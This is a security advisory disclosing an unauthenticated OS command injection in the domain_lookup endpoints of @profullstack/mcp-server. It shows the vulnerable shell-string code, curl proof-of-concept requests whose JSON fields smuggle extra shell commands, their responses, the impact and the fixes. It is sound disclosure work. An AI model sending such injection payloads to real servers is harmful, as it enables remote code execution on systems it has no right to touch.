GHSA-v6wj-c83f-v46x @profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

<html> <body> <!–StartFragment–><html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

<hr> <h2>Summary</h2> <p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p> <hr> <h2>Affected Code</h2> <ul> <li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li> <li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li> <li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li> <li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li> <li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li> </ul> <hr> <h2>Vulnerable Code</h2> <p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p> <p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p> <pre><code class="language-js">buildTldxCommand(keywords, options = {}) { let command = tldx ${keywords.join(' ')};

if (options.prefixes?.length) { command += --prefixes ${options.prefixes.join(',')}; } } </code></pre> <p><strong>Step 2 — That shell string is executed as-is:</strong></p> <pre><code class="language-js">async checkDomainAvailability(domains, options = {}) { try { const command = this.buildTldxCommand(domains, options); const { stdout, stderr } = await execAsync(command); </code></pre> <p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p> <hr> <h2>Proof of Concept</h2> <p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000-&gt;3000/tcp</code>).</p> <h3>PoC A — <code>POST /domain-lookup/check</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/check
-H 'Content-Type: application/json'
-d '{"domains":["example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:39 GMT

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} </code></pre> <p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_check.txt final_check_poc </code></pre> <h3>PoC B — <code>POST /domain-lookup/bulk</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/bulk
-H 'Content-Type: application/json'
-d '{"keywords":["safe","x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:40 GMT

{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"} </code></pre> <p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_bulk.txt final_bulk_poc </code></pre> <h3>Note on HTTP 500</h3> <p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p> <hr> <h2>Impact</h2> <ul> <li>Unauthenticated remote code execution as the server process UID.</li> <li>Full read/write access to any file the server process can access.</li> <li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li> <li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li> </ul> <hr> <h2>Suggested Remediation</h2> <ol> <li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, …])</code> — pass arguments as an array, never as a concatenated shell string.</li> <li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li> <li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li> <li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li> </ol> <hr> <h2>Verification Environment</h2> <ul> <li>Local Docker container only; no third-party deployment was tested.</li> <li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li> </ul></body></html><!–EndFragment–> </body> </html>